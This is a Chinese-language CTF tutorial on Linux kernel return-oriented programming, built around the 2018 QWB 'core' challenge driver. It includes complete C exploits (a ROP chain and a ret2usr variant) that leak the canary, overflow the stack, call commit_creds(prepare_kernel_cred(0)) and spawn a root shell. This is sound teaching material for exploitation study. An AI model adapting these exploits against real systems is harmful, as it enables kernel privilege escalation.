Linux Kernel Exploit 内核漏洞学习(2)-ROP
字数 1508 2025-08-03 16:44:22
Linux内核漏洞利用:ROP技术详解
1. ROP技术概述
ROP(Return-oriented Programming)是一种利用程序中已有代码片段(gadgets)来改变寄存器或变量值,从而控制程序执行流程的攻击方法。在内核态和用户态均可使用,基本原理相同。
2. 内核态ROP关键知识点
2.1 内核态与用户态切换
当系统从内核态返回到用户态时,必须执行以下操作:
- 通过
swapgs指令恢复用户态GS值 - 通过
sysretq或iretq指令返回用户空间- 使用
iretq时需要提供用户空间信息(CS、eflags/rflags、esp/rsp等)
- 使用
2.2 保存用户态状态
可通过以下函数保存用户态寄存器状态:
unsigned long user_cs, user_ss, user_eflags, user_sp;
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)
:
: "memory"
);
}
2.3 提权函数
内核提权到root的简单方法:
commit_creds(prepare_kernel_cred(0));
prepare_kernel_cred(0):分配新的cred结构(uid=0, gid=0)commit_creds():将新cred应用到调用进程
这两个函数的地址可通过/proc/kallsyms查看(需要root权限)。
3. 漏洞分析(以2018强网杯core为例)
3.1 驱动保护机制
- 开启Canary保护
3.2 关键函数分析
-
core_ioctl:
- 定义三条命令,分别调用
core_read()、core_copy_func() - 可设置全局变量
off
- 定义三条命令,分别调用
-
core_copy_func:
- 根据用户输入长度,从全局变量
name往栈上写数据 - 存在类型转换漏洞:
- 判断时使用
signed long long qmemcpy时使用unsigned __int16
- 判断时使用
- 可通过输入如
0xf000000000000000|0x100绕过限制,造成栈溢出
- 根据用户输入长度,从全局变量
-
core_read:
- 从栈上读取0x40字节数据
- 起始位置通过
off全局变量控制 - 可越界读取返回地址、Canary等信息
-
core_write:
- 向全局变量
name写入长度≤0x800的字符串
- 向全局变量
4. 利用思路
- 通过
ioctl设置off,用core_read()泄露Canary - 通过
core_write()向name写入构造的ROP链 - 利用
core_copy_func()将ROP链写入栈变量,进行ROP攻击 - ROP调用
commit_creds(prepare_kernel_cred(0)) - 执行
swapgs和iretq返回用户态 - 用户态启动shell获取root权限
5. 调试准备
修改init文件以root权限启动:
setsid /bin/cttyhack setuidgid 0 /bin/sh
6. 地址泄露
- 通过
core_read泄露栈内容 - 计算vmlinux和core.ko的基地址
- 泄露地址减去偏移量得到基地址
- 使用ropper查找gadgets:
ropper --file core.ko --search "pop|ret"
7. EXP编写
7.1 标准ROP利用
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags, user_sp;
void core_read(char *buf){
ioctl(fd, 0x6677889B, buf);
}
void change_off(long long v1){
ioctl(fd, 0x6677889c, v1);
}
void core_write(char *buf, int a3){
write(fd, buf, a3);
}
void core_copy_func(long long size){
ioctl(fd, 0x6677889a, size);
}
void shell(){
system("/bin/sh");
}
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)
:
: "memory"
);
}
int main(){
int ret, i;
char buf[0x100];
size_t vmlinux_base, core_base, canary;
size_t commit_creds_addr, prepare_kernel_cred_addr;
size_t commit_creds_offset = 0x9c8e0;
size_t prepare_kernel_cred_offset = 0x9cce0;
size_t rop[0x100];
save_stats();
fd = open("/proc/core", O_RDWR);
change_off(0x40);
core_read(buf);
vmlinux_base = *(size_t*)(&buf[0x20]) - 0x1dd6d1;
core_base = *(size_t*)(&buf[0x10]) - 0x19b;
prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
commit_creds_addr = vmlinux_base + commit_creds_offset;
canary = *(size_t*)(&buf[0]);
printf("[*]canary:%p\n", canary);
printf("[*]vmlinux_base:%p\n", vmlinux_base);
printf("[*]core_base:%p\n", core_base);
printf("[*]prepare_kernel_cred_addr:%p\n", prepare_kernel_cred_addr);
printf("[*]commit_creds_addr:%p\n", commit_creds_addr);
// 构造ROP链
for(i=0; i<8; i++){
rop[i] = 0x66666666; // 填充垃圾数据
}
rop[i++] = canary;
rop[i++] = 0; // rbp
rop[i++] = vmlinux_base + 0xb2f; // pop rdi; ret
rop[i++] = 0; // rdi
rop[i++] = prepare_kernel_cred_addr;
rop[i++] = vmlinux_base + 0xa0f49; // pop rdx; ret
rop[i++] = vmlinux_base + 0x21e53; // pop rcx; ret
rop[i++] = vmlinux_base + 0x1aa6a; // mov rdi, rax; call rdx
rop[i++] = commit_creds_addr;
rop[i++] = core_base + 0xd6; // swapgs; ret
rop[i++] = 0; // rbp
rop[i++] = vmlinux_base + 0x50ac2; // iretq; ret
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
core_write(rop, 0x100);
core_copy_func(0xf000000000000100);
return 0;
}
7.2 ret2usr方法
当内核未开启SMEP保护时,可使用ret2usr方法:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags, user_sp;
size_t commit_creds_addr, prepare_kernel_cred_addr;
// ... 其他函数同上 ...
void get_root(){
char *(*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main(){
// ... 初始化部分同上 ...
// 构造ROP链
for(i=0; i<8; i++){
rop[i] = 0x66666666;
}
rop[i++] = canary;
rop[i++] = 0x0;
rop[i++] = (size_t)get_root;
rop[i++] = core_base + 0xd6; // swapgs; ret
rop[i++] = 0; // rbp
rop[i++] = vmlinux_base + 0x50ac2; // iretq; ret
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
core_write(rop, 0x100);
core_copy_func(0xf000000000000100);
return 0;
}
8. 关键点说明
-
填充大小确定:通过gdb动态调试确定需要填充的垃圾数据大小(本例中为0x40)
-
ROP链中的pop rcx:
- 由于
call指令会将返回地址压栈,会破坏ROP链 - 需要
pop rcx将其弹出
- 由于
-
ret2usr原理:
- 利用内核空间可访问用户空间的特性
- 直接返回到用户空间构造的提权函数
- 需要内核未开启SMEP保护
9. 编译与运行
编译命令:
gcc poc.c -o poc -w -static
运行:
./poc
10. 总结
内核ROP利用与用户态ROP原理相似,但需要注意:
- 内核态与用户态切换机制
- 内核地址泄露方法
- 内核保护机制(Canary、SMEP等)的绕过
- 调试难度较大,崩溃时gdb可能无法断下